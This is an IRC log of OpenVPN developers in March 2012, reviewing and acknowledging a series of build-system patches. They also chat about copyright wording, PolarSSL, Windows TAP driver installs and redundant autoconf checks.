dazo stuff (plugin -> dazo) :P 13:32 <@dazo> it's just renaming the plugin directory to plugins 13:32 <@andj> assuming no diffs, don't carte 13:33 <@andj> *care 13:33 <@dazo> yeah, exactly 13:33 <@mattock> 15/52 13:34 <@dazo> ACK 13:34 <@andj> ack, and quite happy with those fixes 13:34 <@dazo> agreed 13:35 <@mattock> 16/52 13:35 <@mattock> I had some comments about that one 13:35 <@mattock> trivial and useful, but why have a separate directory from windows example files 13:37 <@mattock> this boils down to: all sample files in the same directory or windows samples in a different directory 13:37 <@dazo> that file config seems to be Windows specific, for some reasons ... so I'd say ACK, and we'll improve this further later on 13:37 <@mattock> yep, makes sense 13:37 <@mattock> not a showstopper 13:37 <@mattock> 22/52 13:39 <@dazo> this makes things more readable in the end ... and my last attempts building it, it seems to work very fine ... so I don't have any arguments not to ACK it 13:39 <@andj> are those still used? 13:39 <@andj> yeah, sure, ack for more readability 13:39 <@mattock> ok 13:39 <@dazo> I believe so ... Alon would not leave in old cruft which would not be useful ... at least that would surprise me big time 13:40 <@mattock> yes, he's been removing old cruft quite nicely 13:40 <@mattock> 23/52 13:41 <@dazo> ACK ... basically just cleaning up formatting and making it more readable 13:42 <@andj> ack 13:42 <@andj> what are the dnls for? 13:42 <@dazo> that's m4 remarks ... m4 variant of # or /* */ 13:43 <@dazo> I think it is also added at the end of some lines which are expected to continue 13:43 <@dazo> like \ in shell scripts 13:43 <@andj> aha 13:43 <@mattock> ACK 23/52 by dazo 13:43 <@andj> thanks, I was wondering why you would want to comment an empty line 13:43 <@mattock> then 24/52 13:44 <@dazo> http://info2html.sourceforge.net/cgi-bin/info2html-demo/info2html?%28m4%29Dnl 13:44 <@vpnHelper> Title: Info: (m4) Dnl (at info2html.sourceforge.net) 13:45 <@dazo> m4 is such an odd macro language .... and one of the reasons I don't like sendmail much ... but that's another story :) 13:46 <@dazo> mattock: ack on 24/52 from me 13:46 <@mattock> hmm, I wonder if there's are benefit in sending an email for each patch we ACK here 13:46 <@andj> I'm going to stay out of the m4 stuff, I'm not certain enough there 13:47 <@mattock> dazo: ok 13:47 <@mattock> 25/52 then 13:47 <@dazo> mattock: if you mail a summary of what we acked (preferably with a gmane link to each patch) ... I'll give a summary of applied patches to the 0/52 mail from Alon 13:48 <@mattock> I would prefer it without the gmane link, unless somebody knows how to properly automate that :D 13:48 <@mattock> such a pain... 13:49 <@dazo> okay, I'll help you with that :) we'll split the list in two :) 13:50 <@mattock> you're forgetting I get paid for it :) 13:50 <@mattock> save your energy for something less trivial :P 13:50 <@mattock> I can do the links if they're important, I was just feeling lazy 13:51 <@mattock> anyways, back 25/52? 13:51 <@mattock> back to... 13:51 * dazo find hacking C code much more trivial than digging up URLs :-P 13:51 <@dazo> :) 13:52 <@mattock> off-topic: when there's a C coding course at the university, I'll take it for sure 13:52 <@mattock> then I can start writing code with tons of buffer overflows 13:53 * andj cheers at buffer overflows 13:53 <@dazo> hehe :) 13:54 <@dazo> mattock: I'm ACKing 25/52 (palindrome, btw) ... don' 13:54 <@dazo> t see any issues here 13:54 <@mattock> :P 13:54 <@andj> lzo-stub going out? 13:54 <@mattock> 26/52 claims to be trivial 13:54 <@mattock> what _is_ lzo-stub? 13:54 <@andj> oh wait, comes back later 13:55 <@andj> "don't compile LZO compression support but still allow limited interoperability with LZO-enabled peers" 13:55 <@dazo> that's a wire protocol support so a client which don't have LZO libs, but compiled with lzo-stub can communicate with a server which has lzo enabled 13:55 <@mattock> does AC_DEFUN mean making an AC power outlet less fun? 13:55 <@mattock> sorry, had to say it 13:55 <@dazo> defunction? 13:55 <@andj> :) 13:56 <@dazo> alons claims that "first pass of trivial autotools changes" == 15 files changed, 738 insertions(+), 757 deletions(-) 13:56 <@mattock> ah, 38/52 was the lzo-stub one 13:56 <@dazo> I wonder what is un-trivial then ... 13:58 <@mattock> actually, I think 26/52 follows the same standards Alon has used elsewhere 13:58 <@mattock> I recall ACKing some even less trivial patch like this 13:58 <@mattock> I mean, even more trivial :P 14:00 <@mattock> I think this is one of those patches: "ACK now, fix later if necessary" 14:00 <@mattock> or alternatively, clone Alon's repo and see what the files look like in there 14:00 <@dazo> It's again just to improve readability and cleaning up ... so ACK from me 14:01 <@mattock> ok 14:01 <@andj> yeah, can't spot anything deadly either 14:01 <@andj> ack 14:01 <@dazo> the autotool files are kind of easier to tackle ... you cant break openvpn if autotools break, basically 14:01 <@andj> No 29/52? 14:02 <@andj> I'm sure we can find a way :) 14:02 <@mattock> andj: I think that one has gone missing 14:02 <@andj> should be that one: https://github.com/alonbl/openvpn/commit/f26b8c6e498184eb53dd74eff40f205358e72404 14:02 <@vpnHelper> Title: build: standard directory layout · f26b8c6 · alonbl/openvpn · GitHub (at github.com) 14:03 <@dazo> yupp ... it's the mailing list too ... so just a wiki bummer 14:03 <@mattock> did you receive the mail? I can't find it from my inbox or from gmane 14:03 <@andj> those moves are going to be fun :) 14:04 <@dazo> ahh! He sent a direct copy to me, as it was rejected by the ML .... 5.7 MB 14:04 <@dazo> (my mailfilter moved it my folder for openvpn stuff) 14:04 <@andj> anyway, the github interface is _much_ cleaner 14:04 <@mattock> ok, I'll add link to the topic page 14:04 <@andj> for that one 14:06 <@dazo> yeah, fair enough ... it'll be "sealed" with the git commit ID when it gets applied, and I'll provide subject and commitish for my "applied report" 14:06 <@mattock> 29/52 on topic page 14:07 <@andj> ack, with compliments for cleaning that up 14:07 <@mattock> adding ACK and compliments 14:07 <@dazo> this one might be trickier to tackle, as here you can actually change the code in this move ... I don't believe Alon did it ... but I'll add an extra check .... shasum of all files before and after the move 14:07 <@andj> just check the github patch 14:08 <@andj> it shows no changes to the source files 14:08 <@andj> https://github.com/alonbl/openvpn/commit/f26b8c6e498184eb53dd74eff40f205358e72404#diff-71 14:08 <@vpnHelper> Title: build: standard directory layout · f26b8c6 · alonbl/openvpn · GitHub (at github.com) 14:08 <@dazo> ahh nice 14:09 <@andj> daoz: the overview at the top gives only moves, really clear interface btw 14:09 <@andj> dazo even :) 14:10 <@dazo> ahh ... git show --stat f26b8c6e498184eb53dd74eff40f ... confirms the same 14:10 <@mattock> very nice 14:11 <@mattock> ACK? 14:11 <@mattock> oh, did we ACK that already :) 14:11 <@mattock> 29/52, that is 14:11 <@mattock> 30/52 would be next 14:12 * dazo wonders what his thunderbird is doing ... 14:13 <@dazo> ahh ... chewing on the big patch :P 14:13 <@mattock> ah, in 30/52 Alon is adding a Windows resource file for openvpnserv.exe 14:14 <@dazo> I don't know enough about Windows to be able to tackle this one 14:15 <@mattock> looks ok to me 14:15 <@dazo> if you ack it, I'll apply it :) 14:15 <@mattock> well, I don't see why it would be an issue 14:15 <@mattock> I'm just wondering if the COMPANY_NAME should be corrected 14:16 <@andj> I was wondering about the copyright 14:16 <@mattock> yeah, that too 14:17 <@dazo> OpenVPN Project is kind of making it vague ... it's not just the company, but to mention all copyright holders that would be too much 14:17 <@mattock> yeah, it has to be like "some main entity and contributors" 14:17 <@mattock> or similar 14:17 < ecrist> everything I do, I attribute to 'OpenVPN Community' 14:17 <@mattock> "OpenVPN Technologies, Inc. and contributors" maybe? 14:17 <@andj> Community sounds reasonable 14:17 <@mattock> or James Yonan and contributors 14:18 < ecrist> I'm opposed to attributing anything to the corporation or to James 14:18 < ecrist> specifically 14:18 <@mattock> I wouldn't expect anything less :P 14:18 < ecrist> not sure what that means 14:18 <@mattock> in this post 2.3-alpha1 context attributing copyrights to James and/or the company would be somewhat questionable 14:19 <@dazo> mattock: let's ACK this one, and rather fix this later on with a better wording .... OpenVPN Project is vague enough, and keeping some kind of balance 14:19 -!- ecrist [~ecrist@freebsd/contributor/openvpn.community.support.ecrist] has left #openvpn-devel [] --- Log closed Thu Mar 15 14:19:11 2012 --- Log opened Thu Mar 15 14:20:32 2012 14:20 -!- ecrist [~ecrist@freebsd/contributor/openvpn.community.support.ecrist] has joined #openvpn-devel 14:20 -!- Irssi: #openvpn-devel: Total of 14 nicks [7 ops, 0 halfops, 0 voices, 7 normal] 14:20 -!- Irssi: Join to #openvpn-devel was synced in 1 secs 14:20 <@mattock> and in 2.3 even more patches 14:20 <@dazo> yeah 14:20 <@mattock> ecrist: for a while I was worried I made you angry or something :) 14:21 <@mattock> ok, let's move on 14:21 <@mattock> 31/52 14:22 * dazo brb 14:22 <@mattock> I think that one makes sense, knowing Alon's general approach 14:23 <@andj> ack 14:23 <@mattock> 32/52 14:24 <@mattock> as a sidenote, it would be interesting to do a copyright analysis of the codebase 14:24 <@dazo> yeah, ack 14:24 <@mattock> and make some piecharts 14:24 <@mattock> dazo: would git be the tool for that job? 14:24 <@mattock> 33/52 is next 14:24 <@dazo> well, if you use 'git blame' on each file, you can summarise number of lines per author .... 14:25 <@mattock> nice 14:26 <@mattock> I was not sure what Alon meant by "I take another approach and detect dependencies as atoms." 14:26 <@mattock> so I did not ACK 33/52 14:27 <@andj> ack 14:27 <@andj> for 32 14:27 <@dazo> ACK on 32/52 14:27 <@mattock> ok 14:28 <@dazo> ack on 33/52 14:28 <@mattock> updating 14:28 <@andj> ack 14:28 -!- ecrist [~ecrist@freebsd/contributor/openvpn.community.support.ecrist] has left #openvpn-devel [] --- Log closed Thu Mar 15 14:28:49 2012 --- Log opened Tue Mar 20 08:08:25 2012 08:08 -!- ecrist [~ecrist@freebsd/contributor/openvpn.community.support.ecrist] has joined #openvpn-devel 08:08 -!- Irssi: #openvpn-devel: Total of 14 nicks [7 ops, 0 halfops, 0 voices, 7 normal] 08:08 -!- Irssi: Join to #openvpn-devel was synced in 1 secs 11:07 -!- raidz_afk is now known as raidz 11:10 -!- dazo is now known as dazo_afk 19:03 -!- raidz is now known as raidz_afk --- Day changed Wed Mar 21 2012 00:29 <@vpnHelper> RSS Update - tickets: #197: Avoid use of deprecated RSA_generate_key() function. <https://community.openvpn.net/openvpn/ticket/197> 02:50 -!- dazo_afk is now known as dazo 02:51 <@mattock> wrote a wiki page for traffic obfuscation: https://community.openvpn.net/openvpn/wiki/TrafficObfuscation 02:51 <@vpnHelper> Title: TrafficObfuscation – OpenVPN Community (at community.openvpn.net) 02:51 <@mattock> (going through my old mails) 09:26 < ecrist> mattock: FYI, i've acquired the licenses for the new forum software, going to work on the fresh install Sunday 09:26 <@mattock> ecrist: ah, great! 09:27 <@mattock> did you get the guys at the company to make an OpenVPN theme? 09:27 < ecrist> yes 09:27 <@mattock> nice! 09:27 <@cron2> a propos theme... can we put that on the t-shirts, then? :-) 09:27 < ecrist> raidz helped arrange that 09:27 <@mattock> cron2: T-shirts... oh dear :P 09:27 <@mattock> last time I had to figure out Pantone colors for the shirts 09:28 <@mattock> because for some obscure reason ooshirts.com could not do it 09:28 <@mattock> I'll have to poke raidz again so that we have the shirts before next FOSDEM :D 09:28 <@mattock> it's not _that_ far away 09:29 <@cron2> we could do a competition: which takes longer to complete, 2.3 or the t-shirts 09:30 < ecrist> 2.3, t-shirts, or forum migration 09:30 <@cron2> nah, that would be unfair, as forum is nearly done - you have no chance to win 09:30 < ecrist> heh 09:54 <@mattock> note that the T-shirts are nearly ordered :P 09:54 <@mattock> or have been 09:54 <@cron2> yes, and 2.3 is nearly done as well, or has been :-) 09:54 <@mattock> yep 09:54 <@mattock> it's a close call 09:56 <@mattock> well, to be honest, I don't know if the T-shirts are ordered or not 11:16 -!- raidz_afk is now known as raidz 13:58 -!- raidz [~raidz@openvpn/corp/admin/andrew] has left #openvpn-devel [] 13:58 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 13:58 -!- mode/#openvpn-devel [+o raidz] by ChanServ 14:18 <@dazo> \o/ ... polarssl-1.1.1 is on the way into "stable" Fedora 17 ... so it will be included into the final F17 release directly 14:19 <@dazo> This can pave the way for openvpn-polarssl packages in the coming 2.3 release 15:01 -!- dazo is now known as dazo_afk 16:28 <@cron2> any news on blowfish in polar? 19:02 -!- raidz is now known as raidz_afk --- Day changed Thu Mar 22 2012 01:36 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 260 seconds] 01:49 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:49 -!- mode/#openvpn-devel [+o mattock] by ChanServ 03:39 -!- dazo_afk is now known as dazo 03:41 <@dazo> cron2: nope ... no news on bf ... can't even see anything here either ... http://polarssl.org/trac/report/6 03:41 <@vpnHelper> Title: {6} All Tickets By Milestone (Including closed) – PolarSSL Trac page (at polarssl.org) 03:42 <@dazo> maybe we should file a ticket and give a pointer to this page ... http://www.schneier.com/blowfish.html :-P 03:42 <@vpnHelper> Title: Blowfish (at www.schneier.com) 03:47 <@dazo> hmm ... looking at the bf implementation examples from Schneier and Paul Kocher ... and it actually looks quite trivial to implement 03:48 <@dazo> but adding ecb, cbc, ofb, etc might complicate things a bit more 03:52 <@dazo> And I think I see why the bf performance is quite bound to CPU speed ... it's mostly bitwise operations 04:06 <@vpnHelper> RSS Update - tickets: #198: Invalid "-days" argument to openssl req in pkitool <https://community.openvpn.net/openvpn/ticket/198> 06:06 <@vpnHelper> RSS Update - tickets: #199: Add option to ignore certificate verification errors caused by incorrect system time <https://community.openvpn.net/openvpn/ticket/199> 10:45 <@cron2> oh my... 10:49 -!- dazo is now known as dazo_afk 11:01 -!- raidz_afk is now known as raidz 11:49 -!- raidz is now known as raidz_afk 11:50 -!- raidz_afk is now known as raidz 12:06 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Remote host closed the connection] 13:17 -!- dazo_afk is now known as dazo 14:37 <@andj> hmm, that time option is scary 14:40 <@dazo> yeah, I don't like it 14:45 <@andj> and I'm none to happy with working against a moving target in reviewing alon's patches 14:48 <@dazo> no, I've sent him a off-list mail about that .... mattock and cron2 are on Cc 14:48 <@andj> ok, I'll press discard instead of send on my flame :) 14:49 <@dazo> save it ... you might need it later on :) 14:49 <@dazo> bottom line is, that I'm ignoring any new patches from Alon until we've published a new tree with the acked patches in 14:49 <@andj> BTW, fascinating for any crypto nerd: http://www.wired.com/threatlevel/2012/03/ff_nsadatacenter/all/1 14:50 <@dazo> yeah, I saw that one :) haven't had time to read it completely, but read Bruce Schneiers comment on it 14:50 <@andj> I've heard so much speculation about that one, ranging from cracking RSA to the AES one that Schneier mentioned 14:53 <@dazo> I find it ironic that the place of this centre is in Bluffdale ... "dale" is pretty close to a Norwegian word which means "Valley" ... ==> Valley of bluff 14:53 <@andj> :) 16:18 <@cron2> dazo: wow, pretty strong mail 16:19 <@dazo> well ... I felt it was about time to set things straight 16:20 <@cron2> agreed 16:20 <@dazo> lets say that I've written easier mails than this one 16:21 <@cron2> undoubtedly :-) - but it was necessary, to make the review-and-ack-then-commit process very clear again 16:21 <@dazo> yupp 16:22 <@dazo> Btw ... I'm applying patches now ... so I hope to complete the first biggest block today 16:22 <@cron2> oh, cool 16:22 <@dazo> 40 first patches are done 16:22 <@dazo> (haven't pushed yet, though) 16:23 <@dazo> cron2: are you busy right now? or would you have time and energy to help review one or two patches? 16:24 <@dazo> (patch 48/52 and 49/52 ... last outstanding patches, which might require some brain capacity) 16:24 <@cron2> dazo: I was a bit out of order last week - one day I was down with stomach problems (ate something bad, I think), and two nights Annika had trouble sleeping and kept us awake... today is promising so far "no screaming child since 8pm" :-) 16:25 <@dazo> ouch! well, don't push yourself then := 16:25 <@dazo> :) 16:26 <@cron2> nah, I'm fine, just somewhat tired :-) going to bed now, but tomorrow I should be able to find time (I'll be at home, Annika is in day care, and no customer emergencies [yet...] :-) ). Poke me so I won't forget :-) 16:27 <@cron2> life with children is a bit upside-down - you always expect "I'll have time to do that on the weekend", but weekends usually are quite busy with keeping the children fed & amused, and in the evenings, you're too tired... :-) 16:28 <@dazo> heh ... I can imagine :) well, children do bring in completely different values into your life, so I think that's pretty normal :) 16:29 <@dazo> I'll give you a ping tomorrow then ... I'll apply everything until that point, and then the rest couple of patches should go easy in after that then :) 16:30 <@cron2> ok, that's a fairly strong motivation :-) - we already have a post-merge queue (the tunnelblick patch, which is also on my review list) 16:30 <@dazo> yeah 16:30 <@cron2> anyway - good night now :-) 16:30 <@dazo> g'night! 16:55 -!- dazo is now known as dazo_afk 19:11 -!- raidz is now known as raidz_afk --- Day changed Fri Mar 23 2012 01:43 <@andj> anyone ever hear any more about the OpenVPN android port? 03:08 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 03:08 -!- mode/#openvpn-devel [+o mattock] by ChanServ 04:03 -!- janjust [~janjust@openvpn/community/support/janjust] has joined #openvpn-devel 04:04 -!- mode/#openvpn-devel [+v janjust] by ChanServ 04:04 <+janjust> yo tap-win32 developers: can somebody take a look at https://forums.openvpn.net/topic10122.html ? 04:04 <@vpnHelper> Title: OpenVPN Support Forum TAP install failing on Windows 7 : Installation Help (at forums.openvpn.net) 04:04 <+janjust> looks like somebody found somethint interesting when install a tap driver on win7 :) 04:04 -!- krzie [40eae40a@openvpn/community/support/krzee] has joined #openvpn-devel 04:04 -!- mode/#openvpn-devel [+v krzie] by ChanServ 04:07 -!- dazo_afk is now known as dazo 04:28 <@cron2> andj: I've heard people ask for it, but nobody actually provide patches or betas... :( 04:30 <@cron2> janjust: i'm impressed by the amount of research the poster has done :-) - but now we would need someone who understands *windows* to explain that. This is sort of "outside the tap-win32 development bit" and more the "how does *installing* device drivers work" 04:31 <+janjust> cron2: yeah I know but at least somebody gives some technical clues why this is happening ; he is not the first poster with this problem 04:31 <@dazo> andj: it's generally asked for on the #openvpn channel and I've seen some threads in the forum too .... but most people now go for CyanogenMod ... but native Android would be great indeed 04:32 <@dazo> janjust: it's kind of odd ... as I've installed OpenVPN on Win7 on several boxes .... and it just works .... but that's Win7 Professional (if that's what it's called) 04:32 <+janjust> dazo: yeah I know, I did not have any problems on my win7 (pro) laptop either 04:33 <@dazo> janjust: could it be that this is an issue on Win7 Home editions? 04:33 <+janjust> err , could be 04:34 <+janjust> could also be related to the ever increasing number of tunnel adapters that M$ installs (what are they called? toredo interfaces?) 04:34 <@andj> dazo: on a slightly off-topic note, do you know if RedHat does development licences or something along those lines? I'm looking to get the build farm here running a little better... 04:35 <+janjust> andj: what's wrong with CentOS :) 04:35 <@dazo> andj: I know it was something like that for RHEL5 ... not sure about RHEL6 ... let me check, I have some sales persons around me now :) 04:35 <@andj> janjust: it's sometimes a little behind the curve 04:36 <@dazo> janjust: the CentOS developers? 04:36 <+janjust> true, andj, you could also try scientific linux 04:36 <+janjust> they follow RHEL a little closer 04:36 <@dazo> ack ... I'm very satisfied with the SL6 installations I've done outside work 04:37 <@andj> that might be interesting, but for our customers I'd prefer to have some real RedHat machines lying around, but it gets a little tyring... 04:37 <+janjust> my desktop on which I'm currently typing is runnin SL5.7 04:37 <@andj> Especially if you want to do development and play with a lot of cloned VMs 04:38 <@dazo> agreed ... you will be 100% sure about binary compatibility .... CentOS and SL cannot guarantee that 100% 04:38 <@cron2> dazo, janjust: no problem on win7 home here, this must be related to "the system has too many interfaces", like "20 other VPN products installed" or so 04:38 <+janjust> andj: we run compute farm and cloud farms based on SL5 and SL6 with hundreds, if not thousands of nodes 04:38 <+janjust> cron2: actually, it could also be a M$ thing where you end up with far too many tunnelling adapter (non-tap tunnels0 04:38 <@andj> janjust: it's mostly about the build farm, and clones within it 04:39 <@cron2> janjust: well, my win7 box has all these tunnels, so "the default set of interfaces" *should* not be the problem 04:39 <@andj> for development machines, SL could be a very good option, I'll look into it 04:40 <@dazo> andj: I'm getting some info soon on mail ... there are some options which sounds interesting for you 04:40 <+janjust> cron2: how *many* of these tunnel adapter do you have? 04:41 <+janjust> for example, read http://social.technet.microsoft.com/Forums/en-US/itprovistanetworking/thread/32b0c129-fa2d-431a-a275-4288c729605a/ 04:41 <@vpnHelper> Title: How to remove the (52 at present!!!) "tunnel adapter Local Area connection" shown in IPCONFIG ALL? (at social.technet.microsoft.com) 04:41 <@andj> dazo, cool, thanks, that would be interesting for management here :) 04:41 <@cron2> janjust: the default set is 3, IIRC - ISATAP, 6to4, Teredo. 52 sounds a bit excessive :-) 04:41 <+janjust> yep 04:41 <+janjust> so this poster could be running the issue reported above 04:46 <@cron2> sounds a bit like it 06:57 <@dazo> cron2: review? 06:57 <@dazo> :) 06:58 <@dazo> ouch ... /me notices the clock ... /me need lunch 07:13 -!- janjust [~janjust@openvpn/community/support/janjust] has quit [Quit: oink oink] 09:18 <@cron2> review 1 sent 09:19 <@dazo> wow! thx! 09:22 <@cron2> now 48/52... 09:24 <@cron2> ouch, that's a tough one... *grab more tea* 09:27 <@dazo> yeah, it's a tough one 09:30 <@cron2> but isn't "just moving code into the new module"? 09:31 <@dazo> yeah, it seems so ... but need to double check that the moved code has not changed 09:40 <@cron2> getpass() from win32.c disappears - but that's only ever called from get_console_input, and *not* on win32, so that's fine 09:44 <@cron2> ack 48 09:45 <@cron2> so where did you get stuck on 49? 09:45 <@dazo> Just didn't get through 48 ... and mental capacity in the evenings wasn't high enough :) 10:25 <@cron2> mmmh. there are platforms (unlike WIN32) that have no getpid()?? 10:25 <@cron2> (well, technically, yes, but "with networking, more than a single process, etc."?) 10:26 <@cron2> I think we should get rid of HAVE_GETPID, HAVE_CHDIR and other HAVE_* things that *really* do not make sense inside openvpn 10:27 <@cron2> this is autotools mania - "test for everything that might not be available on your random non-posix compliant 8-bit system" 10:32 <@cron2> <rant> 10:41 <@cron2> so, ack sent, dazo: please be merging! :-) 10:42 <@dazo> cron2: thanks a lot!!! I'll try to get this done by this evening :) 10:42 <@cron2> these reviews are actually not that hard, just take lots of time and concentration if so much stuff moves around... 10:43 <@dazo> yeah, exactly 10:43 <@cron2> so - anyone reviewing the gui stuff? 10:43 <@dazo> mattock: ^^^ 10:43 <@cron2> and where exactly is d12fk hiding these days? :-) 10:44 <@dazo> hahahaha! cron2, that was a wonderful rant on the ML :) 10:45 <@cron2> always happy to serve for your amusement :-) - but it's so true, I do so hate autoconf if package builders "just turn on everything" and then it goes off and takes 10 minutes figuring out how long a command line can be, at maximum, which is then never used anywhere in the code... 10:45 <@dazo> it really is ... and I completely agree with you :) 10:46 <@dazo> and you really found a great function as an example 10:46 <@d12fk> i'm here, just distracted of distractions =) 10:46 <@cron2> d12fk: so have you recovered from the "this is all crap!" thread and actually found time to work on the privilege separation thing? ;-) 10:46 <@d12fk> the gui stuff is half merged, am at 8/8 and got stuck, it's UTM beta time after all =) 10:46 <@dazo> even though return -1; is returning an error .... *if* it is tested for ... rather a msg(M_FATAL, "Use a decent platform instead of this crap"); would be better :) 10:47 <@d12fk> i wonder if ppl ever realize they make fools out of themselves on the mailinglists 10:47 <@cron2> yeah, but then it could just fail at compile time, and people would know that they won't get anywhere with it... 10:47 <@d12fk> i mean you can read that stuff in 30 years and you children will 10:48 <@dazo> (maybe even an #error "no chdir(), you gotta be kidding me!" would be suitable 10:48 <@cron2> just linking chdir() and having the linker fail on the single system out there that has no chdir() would be good enough :-) 10:48 <@dazo> duh .... yeah, you're right! 10:49 <@d12fk> for the service thing, I'll be picking up pace next week i hope 10:49 <@cron2> or, if we *really* want to handle this, we could just compile-out "--cd" - which is one of only two places where chdir is called (the other one is chroot() and the third one is daemon(), both of which are somewhat unlikely to work on a system that has no chdir()...) 10:50 <@cron2> now chroot() itself is interesting... to quote from the man page: 10:50 <@cron2> chroot() was declared a legacy interface, and subsequently removed in IEEE Std 1003.1-2001 (``POSIX.1'') 10:52 <@cron2> d12fk: sounds good... *press thumbs* 10:54 <@dazo> Linux man-page says: 10:54 <@dazo> CONFORMING TO 10:54 <@dazo> SVr4, 4.4BSD, SUSv2 (marked LEGACY). This function is not part of POSIX.1-2001. 10:54 <@dazo> wow! 10:54 <@cron2> mine was from NetBSD, but yeah, same thing 10:54 <@cron2> (I skipped the X/Open / SUS5 part) 10:55 <@cron2> yeah, HAVE_VFORK, and HAVE_VFORK_H 10:55 <@cron2> not that we use vfork()... 10:55 <@dazo> POSIX.1-2008 removes the specification of vfork(). 10:56 <@cron2> HAVE_ACCEPT and HAVE_BIND are good ones as well... "if we don't have those, what are we going to do about it"? (nothing, btw, HAVE_ACCEPT only shows up in config.h.in...) 10:56 <@dazo> LOL 10:56 <@cron2> dazo: yeah, vfork() is *so* obsolete these days :-) - I just did a "grep HAVE_ config.h.in" for laughs 10:56 <@cron2> ohyeah, HAVE_STDIO_H 10:57 <@dazo> rofl 10:58 * cron2 rolls eyes, and bicycles off to the playground to look for wife and daughter :-) 10:58 <@dazo> :) 10:58 <@dazo> have fun :) 11:03 <@cron2> thanks - weather is perfect here (sunny, ~20 degrees, nearly no wind) and that means "after daycare, daughter goes to playground for about 1.5 hours, and then is properly tired to sleep fairly well" :-) 11:03 <@cron2> off... 11:34 -!- raidz_afk is now known as raidz 12:20 -!- dazo is now known as dazo_afk 12:58 <+krzie> [13:53] <pk__> if i have written comp-lzo in my server's conf [13:53] <pk__> and i forgot to write this in client conf and i have distributed the config already [13:54] <pk__> will compression be used? [13:55] <krzie> they wont be able to connect [13:56] == panpansh [~panpansh@nic06-3-88-173-74-91.fbx.proxad.net] has left #openvpn [] [13:56] <krzie> you can try pushing the option to them [13:56] <krzie> otherwise you'll need them to 12:58 <+krzie> sorry about how it pasted 12:59 <+krzie> [13:57] <pk__> are you sure they wont be able to connect? [13:57] <pk__> i guess connection is taking place [13:58] <krzie> hmm i wonder if the devs made comp-lzo auto push to clients now or something [13:58] <krzie> would be a good idea 12:59 <+krzie> did you guys change how that works? 13:14 <@cron2> as far as I remember, you can set lzo to "adaptive", which would permit pushing it, or so. janjust did some investigations here 13:14 * cron2 just *tests* client-configs before distributing... 13:34 <+krzie> would be cool if it acted more like keepalive 13:35 <+krzie> in regards to being pushed auto when necessary 13:49 <@cron2> send patch... :) 15:22 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 240 seconds] 15:34 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 15:34 -!- mode/#openvpn-devel [+o mattock] by ChanServ 16:16 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 252 seconds] 16:49 <+krzie> if --up script fails, openvpn shouldnt finish connecting, right? 16:50 <+krzie> (im trying to get a script running on this yealink phone via openvpn, i keep getting 16:50 <+krzie> Mar 23 21:46:41 openvpn[378]: Route script failed: could not execute external program 16:50 <+krzie> all it is: 16:51 <+krzie> #!/bin/sh 16:51 <+krzie> exec 2>&1 16:51 <+krzie> ls -la / /etc/ /root/ /bin/ /yealink/bin/ /sbin/ /usr/bin 16:51 <+krzie> and i know /bin/sh exists from the logs: 16:51 <+krzie> 385 root 2812 SW /bin/sh /yealink/scripts/ScreenApp.sh 395 root 16424 SW /yealink/bin/Screen.exe 16:52 <+krzie> im starting to wonder if they modded their openvpn to not run scripts or something 16:52 <+krzie> Mar 23 21:46:15 openvpn[378]: NOTE: the current --script-security setting may allow this configuration to call user-defined scripts 18:21 <@vpnHelper> RSS Update - testtrac: build: use tap-windows.h as external dependency <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=0e4b6c455e0236a4eb45eb1df869b5ce0b97518a> || build: distribute samples in windows <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=880a2ae97c44d75a3529adda8a11e266fb61092e> || build: windows: install version.sh to allow installe 19:02 -!- raidz is now known as raidz_afk 20:52 -!- krzie [40eae40a@openvpn/community/support/krzee] has quit [Ping timeout: 245 seconds] --- Day changed Sat Mar 24 2012 00:35 < ecrist> new URL scheme is live here: https://forums.openvpn.net/vb4 00:35 <@vpnHelper> Title: OpenVPN Forum (at forums.openvpn.net) 00:35 < ecrist> that's just testing yet, but almost there. 00:35 < ecrist> a couple bugs in the LDAP code yet, then we'll go live 00:35 < ecrist> probably next weekend 06:28 -!- krzie [40eae40a@openvpn/community/support/krzee] has joined #openvpn-devel 06:28 -!- mode/#openvpn-devel [+v krzie] by ChanServ 14:40 -!- krzie [40eae40a@openvpn/community/support/krzee] has quit [Ping timeout: 245 seconds] 19:45 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 19:45 -!- mode/#openvpn-devel [+v krzee] by ChanServ 20:01 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Quit: Leaving] 20:12 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 20:12 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Sun Mar 25 2012 02:18 -!- krzie [40eae40a@openvpn/community/support/krzee] has joined #openvpn-devel 02:18 -!- mode/#openvpn-devel [+v krzie] by ChanServ 03:14 <@andj> mattock: I read in Alon's mail that you're looking into a new acceptance flow? 05:39 <@cron2> I'm not sure what I should read into Alon's mail, except some confusion about how the ACK flow works 08:15 -!- krzie [40eae40a@openvpn/community/support/krzee] has quit [Ping timeout: 245 seconds] 09:06 -!- krzie [40eae40a@openvpn/community/support/krzee] has joined #openvpn-devel 09:06 -!- mode/#openvpn-devel [+v krzie] by ChanServ 09:17 -!- krzie [40eae40a@openvpn/community/support/krzee] has quit [Ping timeout: 245 seconds] 11:41 <@cron2> dazo: have you checked what happened to the buildbot builds? the current HEAD seems to build fine on my laptop (gentoo linux) 12:14 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Remote host closed the connection] 13:42 -!- SviMik [~pIRCuser8@131.250.35.213.dyn.estpak.ee] has joined #openvpn-devel 14:08 -!- SviMik [~pIRCuser8@131.250.35.213.dyn.estpak.ee] has quit [Quit: svimik@mail.ru] 17:46 <@vpnHelper> RSS Update - wishlist: Blocking connections when the OpenVPN connection breaks <http://forums.openvpn.net/topic10151.html> || OpenVPN chains <http://forums.openvpn.net/topic10150.html> || (Re)connect endlessly <http://forums.openvpn.net/topic10149.html> --- Day changed Mon Mar 26 2012 02:06 -!- 